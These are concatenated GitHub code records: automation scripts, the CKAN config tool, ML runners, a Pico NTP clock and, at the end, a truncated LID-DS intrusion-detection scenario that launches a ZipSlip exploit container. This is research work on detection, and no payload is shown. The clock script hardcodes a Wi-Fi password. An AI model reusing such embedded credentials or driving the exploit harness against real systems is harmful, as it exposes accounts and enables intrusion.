name=main\r\nif __name__ == \"__main__\":\r\n #get api token from encrypted enviromental variable\r\n f = Fernet(os.environ.get(\"AutoK\"))\r\n sensative_smartsheet_token = f.decrypt(bytes(os.environ.get('AutoT'), 'utf-8')).decode(\"utf-8\")\r\n\r\n # the inputs are api key, sheet id for clashlog, and path to xlsx file (from .txt)\r\n config = {\"ss_api_token\":sensative_smartsheet_token, \r\n \"ss_clashlog_sheetid\":3988054730925956, \r\n \"sys_path_to_excel_clash\":r'C:\\Egnyte\\Shared\\Digital Construction Team\\00_Projects\\FL_60 Blossom Way\\08_Working\\Clash\\Current Clash Report and Dynamo Assets\\Clash Log.xlsx'}\r\n clm = Clashlog_maintainer(config)\r\n clm.run()\r\n#endregion\r\n","repo_name":"ArJonVar/Clash-Detection","sub_path":"Z_60bw_pt2.py","file_name":"Z_60bw_pt2.py","file_ext":"py","file_size_in_byte":13977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42328168821","text":"# encoding: utf-8\n\nfrom __future__ import print_function\nimport six\nimport re\n\nINSERT_NEW_SECTIONS_BEFORE_SECTION = 'app:main'\n\n\ndef config_edit_using_option_strings(config_filepath, desired_option_strings,\n section, edit=False):\n '''Writes the desired_option_strings to the config file.'''\n # Parse the desired_options\n desired_options = [parse_option_string(section, desired_option_string,\n raise_on_error=True)\n for desired_option_string in desired_option_strings]\n # Make the changes\n config_edit(config_filepath, desired_options, edit=edit)\n\n\ndef config_edit_using_merge_file(config_filepath, merge_config_filepath):\n '''Merges options found in a config file (merge_config_filepath) into the\n main config file (config_filepath).\n '''\n # Read and parse the merge config filepath\n with open(merge_config_filepath, 'rb') as f:\n input_lines = [six.ensure_str(line).rstrip('\\n') for line in f]\n desired_options_dict = parse_config(input_lines)\n desired_options = desired_options_dict.values()\n # Make the changes\n config_edit(config_filepath, desired_options)\n\n\ndef config_edit(config_filepath, desired_options, edit=False):\n '''Writes the desired_options to the config file.'''\n # Read and parse the existing config file\n with open(config_filepath, 'rb') as f:\n input_lines = [six.ensure_str(line).rstrip('\\n') for line in f]\n existing_options_dict = parse_config(input_lines)\n existing_options = existing_options_dict.values()\n\n # For every desired option, decide what action to take\n new_sections = calculate_new_sections(existing_options, desired_options)\n changes = calculate_changes(existing_options_dict, desired_options, edit)\n\n # write the file with the changes\n output = make_changes(input_lines, new_sections, changes)\n with open(config_filepath, 'wb') as f:\n f.write(six.ensure_binary('\\n'.join(output) + '\\n'))\n\n\ndef parse_option_string(section, option_string, raise_on_error=False):\n option_match = OPTION_RE.match(option_string)\n if not option_match:\n if raise_on_error:\n raise ConfigToolError('Option did not parse: \"%s\". Must be: '\n '\"key = value\"' % option_string)\n return\n is_commented_out, key, value = option_match.group('commentedout',\n 'option', 'value')\n key = key.strip()\n value = value.strip()\n return Option(section, key, value, is_commented_out,\n original=option_string)\n\n\nclass Option(object):\n def __init__(self, section, key, value, is_commented_out, original=None):\n self.section = section\n self.key = key\n self.value = value\n self.is_commented_out = bool(is_commented_out)\n self.original = original\n\n def __repr__(self):\n return '<Option [%s] %s>' % (self.section, self)\n\n def __str__(self):\n if self.original:\n return self.original\n return '%s%s = %s' % ('#' if self.is_commented_out else '',\n self.key, self.value)\n\n @property\n def id(self):\n return '%s-%s' % (self.section, self.key)\n\n def comment_out(self):\n self.is_commented_out = True\n self.original = None # it is no longer accurate\n\n\ndef calculate_new_sections(existing_options, desired_options):\n existing_sections = {option.section for option in existing_options}\n desired_sections = {option.section for option in desired_options}\n new_sections = desired_sections - existing_sections\n return new_sections\n\n\nclass Changes(dict):\n '''A store of Options that are to \"edit\" or \"add\" to existing sections of a\n config file. (Excludes options that go into new sections.)'''\n def add(self, action, option):\n assert action in ('edit', 'add')\n assert isinstance(option, Option)\n if option.section not in self:\n self[option.section] = {}\n if not self[option.section].get(action):\n self[option.section][action] = []\n self[option.section][action].append(option)\n\n def get(self, section, action):\n try:\n return self[section][action]\n except KeyError:\n return []\n\n\ndef calculate_changes(existing_options_dict, desired_options, edit):\n changes = Changes()\n\n for desired_option in desired_options:\n action = 'edit' if desired_option.id in existing_options_dict \\\n else 'add'\n if edit and action != 'edit':\n raise ConfigToolError(\n 'Key \"%s\" does not exist in section \"%s\"' %\n (desired_option.key, desired_option.section))\n changes.add(action, desired_option)\n return changes\n\n\ndef parse_config(input_lines):\n '''\n Returns a dict of Option objects, keyed by Option.id, given the lines in a\n config file.\n (Not using ConfigParser.set() as it does not store all the comments and\n ordering)\n '''\n section = 'app:main' # default (for merge config files)\n options = {}\n for line in input_lines:\n # ignore blank lines\n if line.strip() == '':\n continue\n # section heading\n section_match = SECTION_RE.match(line)\n if section_match:\n section = section_match.group('header')\n continue\n # option\n option = parse_option_string(section, line)\n if option:\n options[option.id] = option\n return options\n\n\ndef make_changes(input_lines, new_sections, changes):\n '''Makes changes to the config file (returned as lines).'''\n output = []\n section = None\n options_to_edit_in_this_section = {} # key: option\n options_already_edited = set()\n have_inserted_new_sections = False\n\n def write_option(option):\n output.append(str(option))\n\n def insert_new_sections(new_sections):\n for section in new_sections:\n output.append('[%s]' % section)\n for option in changes.get(section, 'add'):\n write_option(option)\n write_option('')\n print('Created option %s = \"%s\" (NEW section \"%s\")' %\n (option.key, option.value, section))\n\n for line in input_lines:\n # leave blank lines alone\n if line.strip() == '':\n output.append(line)\n continue\n section_match = SECTION_RE.match(line)\n if section_match:\n section = section_match.group('header')\n if section == INSERT_NEW_SECTIONS_BEFORE_SECTION:\n # insert new sections here\n insert_new_sections(new_sections)\n have_inserted_new_sections = True\n output.append(line)\n # at start of new section, write the 'add'ed options\n for option in changes.get(section, 'add'):\n write_option(option)\n options_to_edit_in_this_section = {option.key: option\n for option\n in changes.get(section, 'edit')}\n continue\n existing_option = parse_option_string(section, line)\n if not existing_option:\n # leave alone comments (does not include commented options)\n output.append(line)\n continue\n updated_option = \\\n options_to_edit_in_this_section.get(existing_option.key)\n if updated_option:\n changes_made = None\n key = existing_option.key\n if existing_option.id in options_already_edited:\n if not existing_option.is_commented_out:\n print('Commented out repeat of %s (section \"%s\")' %\n (key, section))\n existing_option.comment_out()\n else:\n print('Left commented out repeat of %s (section \"%s\")' %\n (key, section))\n elif not existing_option.is_commented_out and \\\n updated_option.is_commented_out:\n changes_made = 'Commented out %s (section \"%s\")' % \\\n (key, section)\n elif existing_option.is_commented_out and \\\n not updated_option.is_commented_out:\n changes_made = 'Option uncommented and set %s = \"%s\" ' \\\n '(section \"%s\")' % \\\n (key, updated_option.value, section)\n elif not existing_option.is_commented_out and \\\n not updated_option.is_commented_out:\n if existing_option.value != updated_option.value:\n changes_made = 'Edited option %s = \"%s\"->\"%s\" ' \\\n '(section \"%s\")' % \\\n (key, existing_option.value,\n updated_option.value, section)\n else:\n changes_made = 'Option unchanged %s = \"%s\" ' \\\n '(section \"%s\")' % \\\n (key, existing_option.value, section)\n\n if changes_made:\n print(changes_made)\n write_option(updated_option)\n options_already_edited.add(updated_option.id)\n else:\n write_option(existing_option)\n else:\n write_option(existing_option)\n if new_sections and not have_inserted_new_sections:\n # must not have found the INSERT_NEW_SECTIONS_BEFORE_SECTION\n # section so put the new sections at the end\n insert_new_sections(new_sections)\n\n return output\n\n\n# Regexes basically the same as in ConfigParser - OPTCRE & SECTCRE\n# Expressing them here because they move between Python 2 and 3\nOPTION_RE = re.compile(r'(?P<commentedout>[#;]\\s*)?' # custom\n r'(?P<option>[^:=\\s][^:=]*)'\n r'\\s*(?P<vi>[:=])\\s*'\n r'(?P<value>.*)$')\nSECTION_RE = re.compile(r'\\[(?P<header>.+)\\]')\n\n\nclass ConfigToolError(Exception):\n pass\n","repo_name":"OCHA-DAP/hdx-ckan","sub_path":"ckan/lib/config_tool.py","file_name":"config_tool.py","file_ext":"py","file_size_in_byte":10087,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"72"} +{"seq_id":"44608847654","text":"#! /bin/env python\n\nimport pygame, sys\nfrom pygame.locals import *\n\npygame.init()\n\nFPS = 60\nfpsClock = pygame.time.Clock()\n\nSCREEN = pygame.display.set_mode((1600, 900))\n\npygame.display.set_caption('RPG !')\n\n\n# Files loading\nbow = pygame.image.load('res/sprites/bow.png')\n\ndef draw(x, y):\n SCREEN.fill(( 33, 33, 33))\n SCREEN.blit(bow, (x, y))\n\n# Main loop\ndef run():\n posx, posy = 0, 0\n while True:\n keyDown = pygame.key.get_pressed()\n\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n if keyDown[K_RIGHT]:\n posx += 2\n if keyDown[K_LEFT]:\n posx -= 2\n if keyDown[K_UP]:\n posy -= 2\n if keyDown[K_DOWN]:\n posy += 2\n\n draw(posx, posy)\n pygame.display.update()\n fpsClock.tick(FPS)\n\nif __name__ == \"__main__\":\n run()","repo_name":"jaggerkyne/learn_python_the_hard_way","sub_path":"mystuff/exercise_23/pj1/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16020232055","text":"\"\"\"Run tabular automl using ClearML logging.\"\"\"\n\nfrom utils import Timer\nfrom utils import install_lightautoml\n\n\ninstall_lightautoml()\n\nimport argparse\nimport os\n\nimport clearml\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.metrics import log_loss\nfrom sklearn.metrics import roc_auc_score\n\nfrom lightautoml.automl.presets.tabular_presets import TabularAutoML\nfrom lightautoml.tasks import Task\n\n\nTARGET_NAME = \"class\"\n\n\ndef main(dataset_name: str, cpu_limit: int, memory_limit: int): # noqa D103\n cml_task = clearml.Task.get_task(clearml.config.get_remote_task_id())\n logger = cml_task.get_logger()\n\n dataset = clearml.Dataset.get(dataset_id=None, dataset_name=dataset_name)\n dataset_local_path = dataset.get_local_copy()\n\n with open(os.path.join(dataset_local_path, \"task_type.txt\"), \"r\") as f:\n task_type = f.readline()\n train = pd.read_csv(os.path.join(dataset_local_path, \"train.csv\"), index_col=0)\n test = pd.read_csv(os.path.join(dataset_local_path, \"test.csv\"), index_col=0)\n\n task = Task(task_type)\n automl = TabularAutoML(task=task, cpu_limit=cpu_limit, memory_limit=memory_limit, timeout=6000)\n cml_task.connect(automl)\n\n with Timer() as timer_training:\n oof_predictions = automl.fit_predict(train, roles={\"target\": TARGET_NAME}, verbose=10)\n\n with Timer() as timer_predict:\n test_predictions = automl.predict(test)\n\n if task_type == \"binary\":\n metric_oof = roc_auc_score(train[TARGET_NAME].values, oof_predictions.data[:, 0])\n metric_ho = roc_auc_score(test[TARGET_NAME].values, test_predictions.data[:, 0])\n\n elif task_type == \"multiclass\":\n not_nan = np.any(~np.isnan(oof_predictions.data), axis=1)\n metric_oof = log_loss(\n train[TARGET_NAME].values[not_nan].map(automl.reader.class_mapping), oof_predictions.data[not_nan, :]\n )\n metric_ho = log_loss(test[TARGET_NAME].map(automl.reader.class_mapping), test_predictions.data)\n\n elif task_type == \"reg\":\n metric_oof = task.metric_func(train[TARGET_NAME].values, oof_predictions.data[:, 0])\n metric_ho = task.metric_func(test[TARGET_NAME].values, test_predictions.data[:, 0])\n\n print(f\"Score for out-of-fold predictions: {metric_oof}\")\n print(f\"Score for hold-out: {metric_ho}\")\n print(f\"Train duration: {timer_training.duration}\")\n print(f\"Predict duration: {timer_predict.duration}\")\n\n logger.report_single_value(\"Metric OOF\", metric_oof)\n logger.report_single_value(\"Metric HO\", metric_ho)\n\n logger.report_single_value(\"Train duration\", timer_training.duration)\n logger.report_single_value(\"Predict duration\", timer_predict.duration)\n\n logger.flush()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"\")\n parser.add_argument(\"--dataset\", type=str, help=\"dataset name or id\", default=\"sampled_app_train\")\n parser.add_argument(\"--cpu_limit\", type=int, help=\"\", default=8)\n parser.add_argument(\"--memory_limit\", type=int, help=\"\", default=16)\n args = parser.parse_args()\n\n main(dataset_name=args.dataset, cpu_limit=args.cpu_limit, memory_limit=args.memory_limit)\n","repo_name":"sb-ai-lab/LightAutoML","sub_path":"experiments/run_tabular.py","file_name":"run_tabular.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":640,"dataset":"github-code","pt":"67"} +{"seq_id":"22024368619","text":"\"\"\" Handling errors and exceptions in Python \"\"\"\n\n# f = open('testfile.txt')\ntry:\n # f = open('testfile.txt')\n f = open('test_file.txt')\n f = open(\"corrupt_file.txt\")\n # if f.name == \"corrupt_file.txt\":\n # raise Exception\n # var = bad_var # so we should be more precise\n# except Exception:\n# except FileNotFoundError:\n# print('Sorry, this file does not exist') # custom error for users rather than verbose Phyton error\n# except Exception: # use more specific exceptions at the top and the general ones at the bottom\n# print('Sorry, something went wrong')\n\nexcept FileNotFoundError as e: # instead of custom messages print exception that we hit\n print(e)\nexcept Exception as e:\n # print(e)\n print('Error!') # for raising manual Exception\n\nelse: # runs code needs to be executed if try Clause doesn't raise an Exception\n print(f.read())\n f.close()\n\nfinally: # runs code needs to be run no matter what happens(either throwing Exception or Successful case)\n print(\"Execution Finally....\") # for example: closing down the databse\n # something that need to be done regardless if the code is successful or not\n\n\n","repo_name":"oguznsari/python-cs","sub_path":"error handling/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10083402128","text":"from flask import Flask\nfrom flask import jsonify\n\n# Importamos todas las ecuaciones\nfrom equations.secante import secante\n\n\napp = Flask(__name__)\n\n\n@app.route('/api/equations', methods=['GET'])\ndef get_equations():\n response = {'resultado': secante()}\n return jsonify(response)\n\n\n@app.route('/api/equations', methods=['POST'])\ndef get_equations():\n response = {'resultado': 'No tenemos de momento'}\n return jsonify(response)\n\n\n@app.route('/api/equations', methods=['DELETE'])\ndef get_equations():\n response = {'resultado': 'No tenemos de momento'}\n return jsonify(response)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"MichaelDonado/metodosNumericos","sub_path":"metnum-api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3784089179","text":"# 24h Clock that Syncs with Network time server (NTP) every day at midnight (00:00:00) \n# The Clock automatically adjusts for Daylight Savings Time (DST) (AMS GMT).\n# A Raspberry Pi Pico script written in Micro Python by: MrLunk \n\n# 24h Clock that Syncs with Network time server (NTP) every day at midnight (00:00:00) \n# The Clock automatically adjusts for Daylight Savings Time (DST) (AMS GMT).\n# A Raspberry Pi Pico script written in Micro Python by: MrLunk \n\nimport network\nimport time\nimport struct\nimport ntptime\nfrom machine import Pin\n\nled = Pin(\"LED\", Pin.OUT)\n\nHour = \"\"\nMinute = \"\"\nSeconds = \"\"\nMaanden = [\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sept\",\"Okt\",\"Nov\",\"Dec\"]\nWeekDagen = [\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\",\"Sun\"]\n\nssid = 'LunkTech3'\npassword = 'DoeMijDieMaar'\n\ndef connect_wifi():\n wlan = network.WLAN(network.STA_IF)\n wlan.active(True)\n wlan.connect(ssid, password)\n\n max_wait = 10\n while max_wait > 0:\n if wlan.status() < 0 or wlan.status() >= 3:\n break\n max_wait -= 1\n print('waiting for connection...')\n time.sleep(1)\n\n if wlan.status() != 3:\n raise RuntimeError('network connection failed')\n else:\n print('connected')\n status = wlan.ifconfig()\n print( 'ip = ' + status[0] )\n print(\"___Time synced with NTP server______\")\n \ndef Wifi_time_sync():\n wlan = network.WLAN(network.STA_IF)\n Status = wlan.active()\n ntptime.settime()\n\ndef last_sunday_of_month(year, month):\n t = time.mktime((year, month, 31, 0, 0, 0, 0, 0, 0))\n wday = time.localtime(t)[6]\n t = t - (wday + 1) * 24 * 60 * 60\n date = time.localtime(t)[:3]\n return date\n\ndef Connect_and_sync():\n wlan = network.WLAN(network.STA_IF)\n connect_wifi()\n Wifi_time_sync()\n wlan.deinit()\n \n#--------------------------------------------------------------------------------\n\nConnect_and_sync()\n\nwhile True:\n year = time.localtime()[0]\n DST_start_date = last_sunday_of_month(year, 3)\n DST_end_date = last_sunday_of_month(year, 10)\n \n current_date = time.localtime()[:3]\n \n DST_Adjustment = 1 if DST_start_date < current_date < DST_end_date else 0\n current_time = time.localtime()\n current_time_list = list(current_time)\n current_time_list[3] -= DST_Adjustment\n if current_time_list[3] == -1:\n current_time_list[3] == 23\n final_time = tuple(current_time_list)\n \n Year = final_time[0]\n Maand = final_time[1]-1\n Day = final_time[2]\n Hour = final_time[3]+1\n Minute = final_time[4]\n Second = final_time[5]\n DayOTWeek = final_time[6]\n DayNumber = final_time[7]\n \n print(\"Time: \",Hour,\":\",Minute,\":\",Second)\n print(WeekDagen[DayOTWeek],Maanden[Maand],Day,Year)\n print(\"Day of the year: \",DayNumber) \n print(\"\")\n time.sleep(1)\n\n if Hour == 0:\n if Minute == 0:\n if Second == 0:\n print(\"Before Sync: \",(final_time))\n Connect_and_sync()\n print(\"After Sync: \",(final_time))\n print(\"\")\n\n\n\n","repo_name":"mrlunk/Raspberry-Pi-Pico","sub_path":"NTP_synced_24h_Clock_with_DST_correction.py","file_name":"NTP_synced_24h_Clock_with_DST_correction.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"42817527855","text":"import json\n\nwith open('data/combine_network_filtered.cyjs') as data_file:\n data = json.load(data_file)\n\n#process node\nfout = file(\"node_pos.csv\",\"w\")\nfout.write(\"Node\\tPosX\\tPosY\\n\")\noutput = {}\noutput[\"nodes\"]=[]\nnodes = data[\"nodes\"]\nfor i in xrange(0,len(nodes)):\n output[\"nodes\"].append({})\n output[\"nodes\"][i][\"data\"]={}\n output[\"nodes\"][i][\"data\"][\"id\"]=nodes[i][\"data\"][\"name\"]\n output[\"nodes\"][i][\"data\"][\"name\"]=nodes[i][\"data\"][\"name\"]\n output[\"nodes\"][i][\"position\"]={}\n output[\"nodes\"][i][\"position\"][\"x\"]=nodes[i][\"position\"][\"x\"]\n output[\"nodes\"][i][\"position\"][\"y\"]=nodes[i][\"position\"][\"y\"]\n fout.write(nodes[i][\"data\"][\"name\"]+\"\\t\"+str(nodes[i][\"position\"][\"x\"])+\"\\t\"+str(nodes[i][\"position\"][\"y\"])+\"\\n\")\n\nedges = data[\"edges\"]\noutput[\"edges\"]=[]\n\nfor i in xrange(0,len(edges)):\n infos = edges[i][\"data\"][\"shared_name\"].split()\n output[\"edges\"].append({})\n output[\"edges\"][i][\"data\"]={}\n output[\"edges\"][i][\"data\"][\"name\"]=infos[0]+\"-\"+infos[2]\n output[\"edges\"][i][\"data\"][\"id\"]=infos[0]+\"-\"+infos[2]\n output[\"edges\"][i][\"data\"][\"source\"]=infos[0]\n output[\"edges\"][i][\"data\"][\"target\"]=infos[2]\n output[\"edges\"][i][\"data\"][\"interaction\"]=infos[1]\n\nfout = file(\"network.json\",\"w\")\nfout.write(json.dumps(output))\n","repo_name":"barbarian1803/GRN-Cytoscape","sub_path":"json_extractor.py","file_name":"json_extractor.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19456863217","text":"import os\nfrom math import exp, pow, sqrt\nfrom os import walk\nfrom random import randint, random, randrange\nfrom time import localtime\n\n\ndef std_tuple(t):\n if len(t) > 1:\n average = average_tuple(t)\n summed = 0\n for elem in t:\n summed += pow(elem - average, 2)\n return sqrt(summed/(len(t) - 1))\n else:\n return 0\n\n\ndef clean_dir(dir):\n for (dirpath, dirnames, filenames) in walk(dir):\n for name in filenames:\n path = dir + '/' + name\n remove_file(path)\n\n\ndef average_tuple(t):\n total = 0\n for elem in t:\n total += elem\n return total / len(t)\n\n\ndef accumulate_tuple(t):\n anl = [t[0]]\n if len(t) >= 2:\n for index in range(1, len(t)):\n anl.append(anl[index - 1] + t[index])\n return anl\n\n\ndef normalize_tuple(t):\n total = 0\n for elem in t:\n total += elem\n return [elem / total for elem in t] if total != 0 else [1 / len(t) for _ in range(len(t))]\n\n\ndef get_date_in_string():\n date = localtime()\n return str(date.tm_year) + '_' + str(date.tm_mon) + '_' + \\\n str(date.tm_mday) + '_' + str(date.tm_hour) + '_' + \\\n str(date.tm_min) + '_' + str(date.tm_sec)\n\n\ndef decode_stdout(stdout):\n return float(stdout.decode('ascii'))\n\n\ndef remove_file(path):\n if os.path.exists(path):\n os.remove(path)\n\n\ndef choose_random_element(arr):\n return arr[randint(0, len(arr) - 1)]\n\n\ndef poisson_random_number(lambda_):\n L = exp(-lambda_)\n poisson_number = 0\n p = 1\n while True:\n poisson_number += 1\n u = random()\n p = p * u\n if p < L:\n break\n return poisson_number - 1\n\n\nif __name__ == '__main__':\n size = 100\n mutation_rate = 0.1\n lambda_ = size * mutation_rate\n total = 0\n for _ in range(0, 100):\n total += poisson_random_number(lambda_)\n mean = int(round(total / 99))\n print(mean)\n","repo_name":"blazejba/gp2","sub_path":"src/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"15279489452","text":"class InvalidExpressionException(Exception):\n def __init__(self, expecting=None, position=None, end=False):\n self.exception_type = \"InvalidExpressionException\"\n self.expecting = expecting\n self.position = position\n self.end = end\n Exception.__init__(self)\n\n\nclass EmptyExpressionException(Exception):\n pass\n\n\nclass ExpressionTreeBuilder:\n def __init__(self, tokens=None):\n self.t_pos = -1\n self.t = None\n self.tokens = []\n self.identifier_names = set()\n self.function_names = set()\n self.variable_names = set()\n if tokens is not None:\n self.set_tokens(tokens)\n\n def set_tokens(self, tokens):\n self.t_pos = -1\n self.t = None\n self.tokens = tokens\n\n def read(self):\n try:\n self.t_pos += 1\n self.t = self.tokens[self.t_pos]\n except IndexError:\n self.t = None\n self.t_pos = len(self.tokens)\n\n def peek(self):\n try:\n return self.tokens[self.t_pos + 1]\n except IndexError:\n return None\n\n def get_expression_tree(self):\n self.read()\n\n if self.t is None:\n raise EmptyExpressionException\n\n expression_node = self.handle_expression()\n if self.t is not None:\n raise InvalidExpressionException(\"none\", position=self.t.position)\n return expression_node\n\n def handle_expression(self):\n expressions = []\n operations = []\n\n expressions.append(self.handle_relation())\n\n while self.t is not None and self.t.type == \"arith_op\":\n operation = self.handle_arith_op()\n operations.append(operation)\n if self.t is None:\n raise InvalidExpressionException(\"relation\", end=True)\n expressions.append(self.handle_relation())\n\n expression_node = expressions[0]\n for i in range(len(expressions) - 1):\n if i == 0:\n operations[0][\"left\"] = expressions[0]\n operations[0][\"right\"] = expressions[1]\n else:\n operations[i][\"left\"] = operations[i - 1]\n operations[i][\"right\"] = expressions[i + 1]\n expression_node = operations[i]\n\n return expression_node\n\n\n def handle_relation(self):\n expressions = []\n operations = []\n\n expressions.append(self.handle_term())\n\n while self.t is not None and self.t.type == \"rel_op\":\n operation = self.handle_rel_op()\n operations.append(operation)\n if self.t is None:\n raise InvalidExpressionException(\"term\", end=True)\n expressions.append(self.handle_term())\n\n expression_node = expressions[0]\n for i in range(len(expressions) - 1):\n if i == 0:\n operations[0][\"left\"] = expressions[0]\n operations[0][\"right\"] = expressions[1]\n else:\n operations[i][\"left\"] = operations[i - 1]\n operations[i][\"right\"] = expressions[i + 1]\n expression_node = operations[i]\n\n return expression_node\n\n def handle_term(self):\n expressions = []\n operations = []\n\n expressions.append(self.handle_exponent_factor())\n\n while self.t is not None and self.t.type == \"factor_op\":\n operation = self.handle_factor_op()\n operations.append(operation)\n if self.t is None:\n raise InvalidExpressionException(\"exponent_factor\", end=True)\n expressions.append(self.handle_exponent_factor())\n\n expression_node = expressions[0]\n for i in range(len(expressions) - 1):\n if i == 0:\n operations[0][\"left\"] = expressions[0]\n operations[0][\"right\"] = expressions[1]\n else:\n operations[i][\"left\"] = operations[i - 1]\n operations[i][\"right\"] = expressions[i + 1]\n expression_node = operations[i]\n\n return expression_node\n\n def handle_exponent_factor(self):\n expressions = []\n operations = []\n\n expressions.append(self.handle_factor())\n\n while self.t is not None and self.t.type == \"exp_op\":\n operation = self.handle_exponent_factor_op()\n operations.append(operation)\n if self.t is None:\n raise InvalidExpressionException(\"factor\", end=True)\n expressions.append(self.handle_factor())\n\n expression_node = expressions[0]\n for i in range(len(expressions) - 1):\n if i == 0:\n operations[0][\"left\"] = expressions[0]\n operations[0][\"right\"] = expressions[1]\n else:\n operations[i][\"left\"] = operations[i - 1]\n operations[i][\"right\"] = expressions[i + 1]\n expression_node = operations[i]\n\n return expression_node\n\n def handle_factor(self):\n t2 = self.peek()\n if self.t is None:\n raise InvalidExpressionException(\"factor\", end=True)\n elif self.t.type == \"open_paren\":\n self.read()\n expression_node = self.handle_expression()\n if self.t is None:\n raise InvalidExpressionException(\"close_paren\", end=True)\n elif self.t.type != \"close_paren\":\n raise InvalidExpressionException(\"close_paren\", position=self.t.position)\n self.read()\n\n elif self.t.type == \"number\":\n expression_node = self.handle_number()\n elif self.t.type == \"ident\":\n if t2 is not None and t2.type == \"open_paren\":\n expression_node = self.handle_function_call()\n else:\n expression_node = self.handle_identifier(False)\n else:\n raise InvalidExpressionException(\"factor\", position=self.t.position)\n\n return expression_node\n\n def handle_function_call(self):\n identifier = self.handle_identifier(True)\n parameters = []\n\n if self.t is None or self.t.type != \"open_paren\":\n raise InvalidExpressionException\n self.read()\n\n while self.t is None or self.t.type != \"close_paren\":\n if len(parameters) > 0:\n if self.t is None:\n raise InvalidExpressionException(\"comma\", end=True)\n elif self.t.type != \"comma\":\n raise InvalidExpressionException(\"comma\", position=self.t.position)\n else:\n self.read()\n if self.t is None:\n raise InvalidExpressionException(\"expression\", end=True)\n parameters.append(self.handle_expression())\n\n # only way above loop will break is if self.t is not null and self.t.type is close_paren\n self.read()\n\n function_call_node = {\n \"node_type\": \"func\",\n \"name\": identifier[\"name\"],\n \"parameters\": parameters\n }\n\n return function_call_node\n\n def handle_number(self):\n if self.t is None or self.t.type != \"number\":\n raise InvalidExpressionException\n expression_node = {\n \"node_type\": \"number\",\n \"value\": float(self.t.value),\n \"token\": self.t\n }\n self.read()\n return expression_node\n\n def handle_identifier(self, is_func_call):\n if self.t is None or self.t.type != \"ident\":\n raise InvalidExpressionException\n expression_node = {\n \"node_type\": \"ident\",\n \"name\": self.t.name,\n \"token\": self.t\n }\n\n self.identifier_names.add(self.t.name)\n if is_func_call:\n self.function_names.add(self.t.name)\n else:\n self.variable_names.add(self.t.name)\n self.read()\n return expression_node\n\n def handle_arith_op(self):\n if self.t is None or self.t.type != \"arith_op\":\n raise InvalidExpressionException\n expression_node = {\n \"node_type\": \"arith_op\",\n \"name\": self.t.name,\n \"token\": self.t\n }\n self.read()\n return expression_node\n\n def handle_rel_op(self):\n if self.t is None or self.t.type != \"rel_op\":\n raise InvalidExpressionException\n expression_node = {\n \"node_type\": \"rel_op\",\n \"name\": self.t.name,\n \"token\": self.t\n }\n self.read()\n return expression_node\n\n def handle_factor_op(self):\n if self.t is None or self.t.type != \"factor_op\":\n raise InvalidExpressionException\n expression_node = {\n \"node_type\": \"factor_op\",\n \"name\": self.t.name,\n \"token\": self.t\n }\n self.read()\n return expression_node\n\n def handle_exponent_factor_op(self):\n if self.t is None or self.t.type != \"exp_op\":\n raise InvalidExpressionException\n expression_node = {\n \"node_type\": \"exp_op\",\n \"name\": self.t.name,\n \"token\": self.t\n }\n self.read()\n return expression_node","repo_name":"naveedalfarhan/MyPathian","sub_path":"function_parser/expression_tree_builder.py","file_name":"expression_tree_builder.py","file_ext":"py","file_size_in_byte":9155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6979252427","text":"import random\nimport sys\nimport urllib.request\n\nfrom lid_ds.core import Scenario, Image, StdinCommand, ExecCommand\nfrom lid_ds.core.collector.json_file_store import JSONFileStorage\nfrom lid_ds.sim import gen_schedule_wait_times, Sampler\nfrom lid_ds.utils.docker_utils import get_ip_address\n\n\nclass ZipSlip(Scenario):\n\n def init_victim(self, container, logger):\n print(get_ip_address(container))\n pass\n\n def wait_for_availability(self, container):\n try:\n victim_url = \"http://\" + get_ip_address(container) + \":8000/\"\n print(f\"checking... is victim ready? ({victim_url})\")\n with urllib.request.urlopen(victim_url) as response:\n data = response.read().decode(\"utf8\")\n if \"READY\" in data:\n print(\"is ready...\")\n return True\n else:\n print(\"not ready yet...\")\n return False\n except Exception as error:\n print(\"not ready yet with error: \" + str(error))\n return False\n\n\nif __name__ == '__main__':\n do_normal = bool(int(sys.argv[1]))\n recording_time = int(sys.argv[2])\n exploit_time = int(sys.argv[3])\n\n if exploit_time < 1:\n exploit_time = 0\n else:\n exploit_time = random.randint(int(recording_time * .3),\n int(recording_time * .8)) if recording_time != -1 else random.randint(5, 15)\n min_user_count = 3\n max_user_count = 6\n user_count = random.randint(min_user_count, max_user_count)\n\n if not do_normal:\n wait_times = {}\n elif recording_time == -1:\n # 1800s = 5hrs -> normal behaviour needs to be generated for a long time until exploit ends\n wait_times = Sampler(\"Sep4\").ip_timerange_sampling(user_count, 1800)\n else:\n wait_times = Sampler(\"Sep4\").ip_timerange_sampling(user_count, recording_time)\n\n storage_services = [JSONFileStorage()]\n\n victim = Image(\"victim_zipslip\")\n normal = Image(\"normal_zipslip\", command=StdinCommand(\"\"), init_args=\"${victim}\")\n exploit = Image(\"exploit_zipslip\", 